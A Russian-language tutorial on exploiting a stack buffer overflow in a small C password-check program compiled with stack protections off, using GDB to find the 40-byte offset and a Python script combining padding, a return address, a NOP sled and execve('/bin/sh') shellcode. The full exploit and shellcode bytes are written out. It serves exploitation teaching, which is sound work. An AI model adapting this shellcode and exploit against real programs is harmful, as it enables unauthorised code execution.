Сегодня мы собираемся сделать небольшой забавный эксплойт в простой программе на C, чтобы внедрить шелл-код и запустить корневую оболочку. Мы будем использовать Python (для создания нашего эксплойта) и GDB (для отладки и разработки нашей атаки). Я бы также рекомендовал использовать операционную систему Linux.
Мы назовем нашу программу на языке C secret.c. Эта программа имитирует запрос пароля у пользователя и предоставляет или отказывает в разрешении.
#include <stdio.h> #include <string.h> int main() { char buffer[32]; printf("Enter your secret key\n"); scanf("%s", buffer); if (strcmp(buffer, "secret-key") == 0) { printf("access granted!\n"); } else { printf("access denied!\n"); } return 0; }
Почему эта программа уязвима? Мы выделяем в стеке буфер размером 32 байта и используем scanf для заполнения его вводом от пользователя. Этот пользователь может ввести «ключ» любого размера и любого содержания.
Давайте все же скомпилируем его, отключим защиту стека и сделаем наш стек исполняемым (чего мы обычно делать не хотим).
$ gcc -fno-stack-protector -z execstack -fno-pie -no-pie secret.c -o secret
Далее приступим к изучению исполняемого файла с GDB
$ gdb ./secret $ (gdb) break main # set a break point at main function $ (gdb) run
Далее, давайте установим точку останова на инструкции quit прямо перед возвратом. И нам будет предложено ввести ключ, давайте введем длинную строку «а», чтобы увидеть, куда мы записываем в стек.
$ (gdb) break *0x00000000004011d2 $ (gdb) continue Continuing. Enter your secret key aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa access denied! Breakpoint 2, 0x00000000004011d2 in main ()
Теперь давайте рассмотрим наш стек
$ (gdb) x/32x $rsp 0x7fffffffdde0: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffddf0: 0x61616161 0x61616161 0x61616161 0x61616161 0x7fffffffde00: 0x61616161 0x61616161 0xf7daed00 0x00007fff 0x7fffffffde10: 0x00000000 0x00000000 0x00401176 0x00000000 0x7fffffffde20: 0xffffdf00 0x00000001 0xffffdf18 0x00007fff 0x7fffffffde30: 0x00000000 0x00000000 0x10795763 0x51068ac1 0x7fffffffde40: 0xffffdf18 0x00007fff 0x00401176 0x00000000 0x7fffffffde50: 0x00403e18 0x00000000 0xf7ffd040 0x00007fff
Мы видим, что 0x61 повторяется много раз, что является буквой «a» в шестнадцатеричном формате. Давайте также проверим рамку. Вы можете использовать информационный фрейм или i f вкратце.
$ (gdb) info frame Stack level 0, frame at 0x7fffffffde10: rip = 0x4011d2 in main; saved rip = 0x7fffffffde10 Arglist at 0x7fffffffde00, args: Locals at 0x7fffffffde00, Previous frame's sp is 0x7fffffffde10 Saved registers: rbp at 0x7fffffffde00, rip at 0x7fffffffde08
Мы хотели бы добавить некоторый отступ прямо до rip (указатель инструкции), поэтому мы вычислим разницу между rip и указателем стека (rsp).
0x7fffffffde08 - 0x7fffffffdde0 = 40
Давайте начнем наш эксплойт с этого заполнения. Мы назовем это файлexploit.py.
pad = "a" * 40 print pad
Наш эксплойт также будет включать адрес для перехода после того, как программа попадет в RIP, слайд NOP и наш шелл-код. Мы хотим, чтобы адрес был через 8 байт после текущего рипа, поэтому это будет 0x7ffffffffde10. Это направит выполнение на этот адрес после того, как он попадет в исходный RIP. По этому адресу мы включим слайд NOP для слайд-выполнения в шелл-код для выполнения /bin/sh и запуска оболочки.
Слайд NOP — это последовательность бездействия, чтобы «сдвинуть» выполнение программы в нужное место. В нашем случае мы будем запускать выполнение в каком-то шелл-коде, чтобы запустить оболочку. Мы выберем длину 50.
Подробнее можно прочитать здесь: https://en.wikipedia.org/wiki/NOP_slide
Шеллкод
Пожалуйста, найдите соответствующий шеллкод для вашей системы здесь: http://www.shell-storm.org/shellcode/index.html
Я использую этот блок, который выполняет execve("/bin/sh", ["/bin/sh"], NULL)
http://www.shell-storm.org/shellcode/files/shellcode-603.html
"\x48\x31\xd2" // xor %rdx, %rdx "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622f2f, %rbx "\x48\xc1\xeb\x08" // shr $0x8, %rbx "\x53" // push %rbx "\x48\x89\xe7" // mov %rsp, %rdi "\x50" // push %rax "\x57" // push %rdi "\x48\x89\xe6" // mov %rsp, %rsi "\xb0\x3b" // mov $0x3b, %al "\x0f\x05"; // syscall
Итак, наш файлexploit.py выглядит так:
pad = "a" * 40 address = "\x10\xde\xff\xff\xff\x7f\x00\x00" nop = "\x90" * 50 shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" print pad + address + nop + shellcode
Теперь давайте попробуем
$ python2 exploit.py | ./secret # whoami # root
Получаем корневую оболочку! Поздравляем!
Чтобы проверить свой эксплойт в GDB, запишите свой эксплойт в файл, а затем используйте в GDB следующее:
$ python2 exploit.py > exploit $ gdb ./secret (gdb) break main (gdb) run < exploit